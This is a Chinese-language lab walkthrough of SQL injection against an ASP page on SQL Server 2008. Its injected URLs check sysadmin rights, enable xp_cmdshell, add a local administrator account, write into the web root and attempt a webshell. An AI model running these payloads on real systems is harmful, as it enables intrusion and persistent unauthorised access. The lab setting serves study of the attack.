SQLServer注入中基于xp_cmdshell的命令执行

前提:
  1. getshell或者存在sql注入并且能够执行命令。
  2. sql server是system权限(默认权限),因为xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。



实验环境:
sql server 2008
IIS 7.0
存在注入点的asp的Web页面

实验过程:
xp_cmdshell可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出,是一个功能非常强大的扩展存贮过程。
1.png

这个就是我们的实验用注入点

首先判断是不是dba权限(延时后返回正确页面,确定为dba权限)
http://192.168.10.9/char.asp?id=3';if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:2'--

查看是否有xp_cmdshell
http://192.168.10.9/char.asp?id=3';if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:2'--
成功延时,接下来开启xp_cmdshell

允许修改高级参数
http://192.168.10.9/char.asp?id=3';EXEC sp_configure 'show advanced options',1;RECONFIGURE--

打开xp_cmdshell扩展
http://192.168.10.9/char.asp?id=3';EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;--
这时xp_cmdshell就打开成功了,但是接来下继续操作时发现了一些关于权限的问题
2.png


MSSQL2005,2008等之后版本的MSSQL都分别对系统存储过程做了权限控制以防止被滥用。
于是我调整了开启MSSQL服务的账户
3.png


命令执行成功
4.png

 
Web环境测试:
http://192.168.10.9/char.asp?id=3';exec master..xp_cmdshell 'net user test /add'--
http://192.168.10.9/char.asp?id=3';exec master..xp_cmdshell 'net localgroup administrators test /add'--

尝试写入文件成功
http://192.168.10.9/char.asp?id=3';exec master..xp_cmdshell 'echo test >c:\\inetpub\\wwwroot\\1.txt';--

但是在写入Asp木马时发现无法写入'%',于是无法构造完整一句话木马
但是可以尝试其他思路
不知道网站根路径的情况下可以使用命令执行创建临时表并写入一些路径,然后用sqlmap跑出来

 

0 个评论

要回复文章请先登录注册